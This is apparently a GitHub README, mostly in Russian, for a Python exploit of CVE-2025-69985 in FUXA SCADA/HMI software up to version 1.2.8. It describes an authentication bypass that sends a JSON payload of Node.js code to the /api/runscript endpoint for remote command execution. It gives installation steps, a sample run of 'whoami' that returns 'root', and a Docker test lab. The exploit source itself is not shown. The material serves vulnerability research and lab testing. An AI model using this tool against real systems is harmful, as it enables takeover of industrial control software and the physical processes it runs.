joshuavanderpoll/cve-2025-69985Python-эксплойт для CVE-2025-69985, нацеленный на ПО FUXA SCADA. Отправляет специально сформированную JSON-нагрузку на конечную точку /api/runscript для обхода аутентификации и достижения удалённого выполнения кода.
Этот эксплойт на Python нацелен на CVE-2025-69985 — критическую уязвимость обхода аутентификации в FUXA (веб-SCADA/HMI-программное обеспечение) версиях ≤ 1.2.8. Отправляя специально сформированный JSON-полезную нагрузку со встроенным кодом Node.js на незащищённую конечную точку /api/runscript, он достигает удалённого выполнения команд в процессе FUXA, захватывая полный вывод stdout/stderr синхронно в ответе.
[!NOTE] Чтобы обеспечить чистую и изолированную среду для зависимостей проекта, рекомендуется использовать модуль
venmPython.
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami
Target : http://localhost:1881
Command: whoami
[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!
=== COMMAND OUTPUT ===
"root\n"
======================
======================================================================
Exploit completed!.
======================================================================
cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:1881/
Этот инструмент предоставляется только для образовательных и исследовательских целей. Создатель не несёт никакой ответственности за любое неправомерное использование или ущерб, причинённый инструментом.